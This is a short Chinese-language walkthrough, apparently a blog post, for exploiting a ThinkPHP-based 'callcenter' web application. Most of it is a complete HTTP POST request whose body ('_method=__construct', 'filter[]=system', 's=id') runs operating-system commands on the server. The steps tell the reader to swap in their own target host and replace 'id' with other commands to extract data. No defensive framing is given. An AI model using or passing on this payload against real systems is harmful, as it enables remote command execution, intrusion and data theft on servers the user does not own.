1.寻找资源,抓包并发送重放器
![](https://img-blog.csdnimg.cn/img_convert/c7ccc8de9db0d57ac071e55e6cf8218e.png)
2.将以下代码复制替换原代码,将 Host 以及目标切换
POST /callcenter/public/index.php/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-type: application/x-www-form-urlencoded
Cache-Control: no-cache
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 52
s=id&_method=__construct&method=POST&filter[]=system
![](https://img-blog.csdnimg.cn/img_convert/a0b762851d8700ed658e10b879205b71.png)
3.将 id 切换其他参数,查询所需数据
![](https://img-blog.csdnimg.cn/img_convert/79f09cf96731d6c6643b1ab1e5df8640.png)